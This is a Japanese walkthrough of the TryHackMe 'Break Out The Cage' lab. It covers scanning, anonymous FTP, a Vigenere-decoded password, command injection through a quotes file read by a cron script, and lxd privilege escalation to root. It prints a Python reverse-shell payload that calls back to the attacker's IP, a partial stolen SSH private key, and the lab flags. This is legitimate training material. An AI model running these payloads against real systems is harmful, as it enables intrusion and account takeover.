概要
TryHackMe「Break Out The Cage」のWalkthroughです。
Task1
Q1.What is Weston's password?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sV -A -sC -p- 10.10.251.24 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 396 May 25 2020 dad_tasks
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.6.55.144
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dd:fd:88:94:f8:c8:d1:1b:51:e3:7d:f8:1d:dd:82:3e (RSA)
| 256 3e:ba:38:63:2b:8d:1c:68:13:d5:05:ba:7a:ae:d9:3b (ECDSA)
|_ 256 c0:a6:a3:64:44:1e:cf:47:5f:85:f6:1f:78:4c:59:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Nicholas Cage Stories
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
22 | ssh | OpenSSH 7.6p1 |
80 | http | Apache httpd 2.4.29 |
FTPにAnonymous接続します。
$ ftp 10.10.251.24
Connected to 10.10.251.24.
220 (vsFTPd 3.0.3)
Name (10.10.251.24:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
dad_tasks
を発見したのでダウンロードします。
ftp> ls
229 Entering Extended Passive Mode (|||50499|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 396 May 25 2020 dad_tasks
226 Directory send OK.
ftp> get dad_tasks
local: dad_tasks remote: dad_tasks
229 Entering Extended Passive Mode (|||43368|)
150 Opening BINARY mode data connection for dad_tasks (396 bytes).
100% |*********************************| 396 3.41 KiB/s 00:00 ETA
226 Transfer complete.
396 bytes received in 00:00 (1.09 KiB/s)
ファイルの内容はBase64
でデコードできましたが、暗号化されています。
UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHUVJPISEhIQpTZncuIEtham5tYiB4c2kgb3d1b3dnZQpGYXouIFRtbCBma2ZyIHFnc2VpayBhZyBvcWVpYngKRWxqd3guIFhpbCBicWkgYWlrbGJ5d3FlClJzZnYuIFp3ZWwgdnZtIGltZWwgc3VtZWJ0IGxxd2RzZmsKWWVqci4gVHFlbmwgVnN3IHN2bnQgInVycXNqZXRwd2JuIGVpbnlqYW11IiB3Zi4KCkl6IGdsd3cgQSB5a2Z0ZWYuLi4uIFFqaHN2Ym91dW9leGNtdndrd3dhdGZsbHh1Z2hoYmJjbXlkaXp3bGtic2lkaXVzY3ds
$ echo "UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHUVJPISEhIQpTZncuIEtham5tYiB4c2kgb3d1b3dnZQpGYXouIFRtbCBma2ZyIHFnc2VpayBhZyBvcWVpYngKRWxqd3guIFhpbCBicWkgYWlrbGJ5d3FlClJzZnYuIFp3ZWwgdnZtIGltZWwgc3VtZWJ0IGxxd2RzZmsKWWVqci4gVHFlbmwgVnN3IHN2bnQgInVycXNqZXRwd2JuIGVpbnlqYW11IiB3Zi4KCkl6IGdsd3cgQSB5a2Z0ZWYuLi4uIFFqaHN2Ym91dW9leGNtdndrd3dhdGZsbHh1Z2hoYmJjbXlkaXp3bGtic2lkaXVzY3ds" | base64 -d
Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.
Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl
暗号文を下記サイトなどで解析するとVigenere暗号
を使用しているようです。
下記サイトを利用して解読できました。
Webサービスを調べます。
80
番ポートにアクセスします。
ディレクトリスキャンをします。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.251.24/FUZZ -ic -c
[Status: 200, Size: 2453, Words: 217, Lines: 63, Duration: 237ms]
images [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 237ms]
html [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 237ms]
scripts [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 238ms]
contracts [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 237ms]
auditions [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 241ms]
検出されたディレクトリから有用な情報は得られませんでした。
A.Mydadisghostrideraintthatcoolnocausehesonfirejokes
Q2.What's the user flag?
得られたパスワードでweston
アカウントにSSH接続します。
$ ssh weston@10.10.18.35
weston@national-treasure:~$
sudo -l
で確認すると/usr/bin/bees
が実行可能です。
$ sudo -l
Matching Defaults entries for weston on national-treasure:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User weston may run the following commands on national-treasure:
(root) /usr/bin/bees
実行するとメッセージが表示されました。
$ sudo /usr/bin/bees
Broadcast message from weston@national-treasure (pts/0) (Fri Sep 27 14:17:38 20
AHHHHHHH THEEEEE BEEEEESSSS!!!!!!!!
プログラムの内容を確認するとwall
コマンドで文字列を出力しています。
$ cat /usr/bin/bees
#!/bin/bash
wall "AHHHHHHH THEEEEE BEEEEESSSS!!!!!!!!"
また、定期的にブロードキャストメッセージが表示されることも分かりました。
Broadcast message from cage@national-treasure (somewhere) (Fri Sep 27 14:21:01
“I saw you and you saw me, don’t pretend like you don’t know who I am girly man” — Snake Eyes
Broadcast message from cage@national-treasure (somewhere) (Fri Sep 27 14:24:01
Did I ever tell ya that this here jacket represents a symbol of my individuality, and my belief in personal freedom? — Wild at Heart
ディレクトリを探索していると、/opt/.dads_scripts/spread_the_quotes.py
を発見しました。
#!/usr/bin/env python
#Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!)
import os
import random
lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)
このプログラムがwall
コマンドで文字列を出力しているようです。
system()
関数を利用しているのquote
変数からOSコマンドを実行できそうです。
weston
アカウントはcage
グループに所属しているので/opt/.dads_scripts/.files/.quotes
ファイルに書き込み可能です。
$ id
uid=1001(weston) gid=1001(weston) groups=1001(weston),1000(cage)
$ ls -la /opt/.dads_scripts/.files/
total 16
drwxrwxr-x 2 cage cage 4096 May 25 2020 .
drwxr-xr-x 3 cage cage 4096 May 26 2020 ..
-rwxrw---- 1 cage cage 4204 May 25 2020 .quotes
/opt/.dads_scripts/.files/.quotes
にリバースシェルのペイロードを上書きします。
$ cat .files/.quotes
a; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Netcatでリッスンしているとシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.18.35] 33866
$ whoami
whoami
cage
/home/cage/.ssh/id_rsa
からSSHの秘密鍵を入手できました。
$ cat .ssh/id_rsa
cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAq3EF98w96QpNGqZ0hbHkqXy5f7/Xh6Uh/ThrejT2vmKaBOTO
adqQOynPg5c5F2dFuVEWYGqNTgJ2BAkz7TzC1I3eXNP49c4ngpSDhW0mZlP148yt
(省略)
SSHでログインします。
$ ssh -i id_rsa cage@10.10.18.35
cage@national-treasure:~$
/home/cage/Super_Duper_Checklist
からユーザーフラグを入手できました。
$ cat Super_Duper_Checklist
1 - Increase acting lesson budget by at least 30%
2 - Get Weston to stop wearing eye-liner
3 - Get a new pet octopus
4 - Try and keep current wife
5 - Figure out why Weston has this etched into his desk: THM{M37AL_0R_P3N_T35T1NG}
A.THM{M37AL_0R_P3N_T35T1NG}
Q3.What's the root flag?
linpeas
を実行します。
$ ./linpeas.sh
lxd
グループに所属していると分かりました。
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
╚═══════════════════╝
OS: Linux version 4.15.0-101-generic (buildd@lgw01-amd64-003) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020
User & Groups: uid=1000(cage) gid=1000(cage) groups=1000(cage),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
この場合、権限昇格できるテクニックがあります。
Kaliで攻撃の準備をします。
$ git clone https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ sudo ./build-alpine
$ ls -la
total 7004
drwxr-xr-x 3 kali kali 4096 Sep 27 10:53 .
drwxr-xr-x 4 kali kali 4096 Sep 27 10:52 ..
-rw-r--r-- 1 kali kali 3259593 Sep 27 10:52 alpine-v3.13-x86_64-20210218_0139.tar.gz
-rw-r--r-- 1 root root 3857969 Sep 27 10:53 alpine-v3.20-x86_64-20240927_1053.tar.gz
$ python -m http.server 80
ターゲットマシン上でコマンドを実行すると権限昇格に成功しました。
$ wget http://10.6.55.144/alpine-v3.20-x86_64-20240927_1053.tar.gz
$ lxc image import ./alpine-v3.20-x86_64-20240927_1053.tar.gz --alias myimage
$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| myimage | 38776d0878df | no | alpine v3.20 (20240927_10:53) | x86_64 | 3.68MB | Sep 27, 2024 at 2:58pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
$ lxd init
$ lxc init myimage ignite -c security.privileged=true
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
$ lxc start ignite
$ lxc exec ignite /bin/sh
~ # whoami
root
/mnt/root/root/email_backup/email_2
からルートフラグを入手できます。
cat /mnt/root/root/email_backup/email_2
From - master@ActorsGuild.com
To - SeanArcher@BigManAgents.com
Dear Sean
I'm very pleased to here that Sean, you are a good disciple. Your power over him has become
strong... so strong that I feel the power to promote you from disciple to crony. I hope you
don't abuse your new found strength. To ascend yourself to this level please use this code:
THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}
Thank you
Sean Archer
A.THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}